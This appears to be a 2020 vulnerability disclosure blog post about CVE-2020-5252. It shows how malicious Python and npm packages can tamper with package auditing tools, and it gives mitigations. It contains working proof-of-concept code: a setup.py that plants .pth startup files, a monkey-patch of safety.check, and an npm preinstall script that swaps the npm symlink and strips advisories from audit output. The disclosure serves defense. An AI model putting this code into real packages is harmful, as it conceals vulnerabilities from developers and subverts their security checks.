MulchBlogContact

CVE-2020-5252 and the State of Package Auditing Security

18 March, 2020 - 5 min read

Package scanners like Python safety tool, npm audit and snyk cannot be trusted when they operate in the same runtime environment as potentially malicious packages.

What To Do Right Now for Safety

If you rely on safety to scan your Python packages, you will want to start using a binary version or dockerized version of the tool. See their post here: https://pyup.io/posts/patched-vulnerability/

What To Do for NPM Audit

For NPM, There is currently no reliable way to trust the results of npm audit. At a minimum, install your packages with scripts disabled:

npm install --ignore-scripts

This eliminates the primary method used to poison the environment. For packages that require install scripts you will want to manually audit them and possibly install them from self-maintained forks.

What To Do for Snyk

For users of Snyk, make sure you are NOT using the version installed via npm -g install snyk. Instead, run the tool using either the dockerized version (https://github.com/snyk/snyk#docker) or download and use the standalone binary versions of the tool (https://github.com/snyk/snyk/releases).

What is the Vulnerability?

The package namespaces of Python and Node are mutable at runtime. That means that local package checkers can be patched or replaced and avoid detection and of course much worse.

Python Proof of Concept

The Python proof of concept can be found here: https://github.com/akoumjian/python-safety-vuln

The Python wheel packages can install arbitrary files using the data_files option.

setup(
    name="malicious",
    data_files=[
        ("lib/python3.6/site-packages/", ["malicious/malicious.pth"]),
        ("lib/python3.7/site-packages/", ["malicious/malicious.pth"]),
        ("lib/python3.8/site-packages/", ["malicious/malicious.pth"]),
    ],
)

We can use this option to install one or more pth files the current Python interpreters site-packages directory. pth files are a leftover oddity from earlier python package implementations that happens to allow one line of arbitrary python code at interpreter load. That is, anytime python gets run, it will run the code in the .pth file at start (credit to Ned Batchelder https://nedbatchelder.com/blog/201001/running_code_at_python_startup.html ).

That single line of code can do a lot, such as import a whole module. In our case, we import a malicious package that can modify our package scanner.

# Monkey patch the safety module
import os.path

dir_path = os.path.dirname(os.path.realpath(__file__))
parent = os.path.dirname(dir_path)
safety_path = os.path.join(parent, "safety")
if os.path.isdir(safety_path):
    from safety import safety

    orig_check = safety.check

    def derp(*args, packages=None, **kwargs):
        print("Running my modified safety.check")
        filtered = []
        for package in packages:
            if "insecure-package" in package.key:
                continue
            filtered.append(package)
        return orig_check(*args, packages=filtered, **kwargs)

    safety.check = derp

It's worth pointing out that this lets you effectively hijack any python command by running at load time.

Safety Team Response

The team at https://pyup.io responded in time by finding someone to analyze the issue. After reviewing the proof of concept, they understood the implications and we began scoping out steps for mitigation.

Soon after, I was granted a bug bounty even though the safety cli tool was not described in their bug bounty program. They began work on the solution shortly thereafter.

NPM & Snyk Implementation

The NPM & Snyk proof of concept is found here:

https://github.com/akoumjian/npm-audit-vuln

The npm cli can be hijacked by replacing symlinks during package install process. This isn't a surprise, since running scripts at install time allows for arbitrary code execution. However, it's worth noting that there may be other paths to running scripts at node runtime.

The package.json specifies a preinstall script:

  "scripts": {
    "preinstall": "./replace.js"
  },

The preinstall script overrides the default cli script with our own.

#!/usr/bin/env node

const { exec } = require("child_process")
const path = require("path")
const fs = require("fs")
const patchAudit = require("./patch-audit.js")

/**
 * Replaces npm symlink with our modified script.
 */
exec("which -a npm", (err, stdout, stderr) => {
  const npmSymLink = String(stdout).trim()
  const fakeCliPath = path.resolve("./npm-cli.js")
  fs.unlinkSync(npmSymLink)
  fs.symlinkSync(fakeCliPath, npmSymLink)
  patchAudit(npmSymLink)
})

And now whenever npm is run, we can make sure the audit command is patched. In this case, removing results for a vulnerable cordova plugin.

const path = require("path")

const sanitizeAudit = auditResult => {
  const sanitizedActions = []

  auditResult.actions.map(action => {
    if (action.module !== "cordova-plugin-inappbrowser") {
      sanitizedActions.push(action)
    }
  })

  const sanitizedAdvisories = {}
  for (let [key, value] of Object.entries(auditResult.advisories)) {
    if (value.module_name !== "cordova-plugin-inappbrowser") {
      sanitizedAdvisories[key] = value
    }
  }
  auditResult.actions = sanitizedActions
  auditResult.advisories = sanitizedAdvisories

  return auditResult
}

const patchAudit = nodeLocation => {
  const auditScriptLocation = path.join(
    nodeLocation,
    "../../lib/node_modules/npm/lib/install/audit.js"
  )
  require(auditScriptLocation)
  const auditCache = require.cache[auditScriptLocation]
  // console.log(auditCache);
  const origPrintFullReport = auditCache.exports.printFullReport
  const newPrintFullReport = auditResult => {
    console.error("Running modified npm audit")
    auditResult = sanitizeAudit(auditResult)
    return origPrintFullReport(auditResult)
  }
  auditCache.exports.printFullReport = newPrintFullReport

  const origInstallReport = auditCache.exports.printInstallReport
  const newInstallReport = auditResult => {
    console.error("Running modified npm audit")
    auditResult = sanitizeAudit(auditResult)
    return origInstallReport(auditResult)
  }
  auditCache.exports.printInstallReport = newInstallReport
}

module.exports = patchAudit

Response from NPMJS and Snyk Teams

Both teams have decided not to issue guidance or warnings on this issue. The rationale is that since arbitrary code execution at package installation is well documented, there is little these tools can do to mitigate the issue. It is a reasonable argument, after all arbitrary code execution leads to problems much worse than patching the auditing tools.

On the other hand, with the already poor state of security for package repositories, particularly the NPM registry, it seems reasonable that users should at least be able to trust the results of their package auditing tools.

If either of these tools ever wanted to expand their offering to things like code signing, verified builds, static analysis and the likes, you would absolutely expect that these tools only operate in environments separate from the ones they are scanning.

Questions

Please reach out to us if you're seeking guidance on this issue.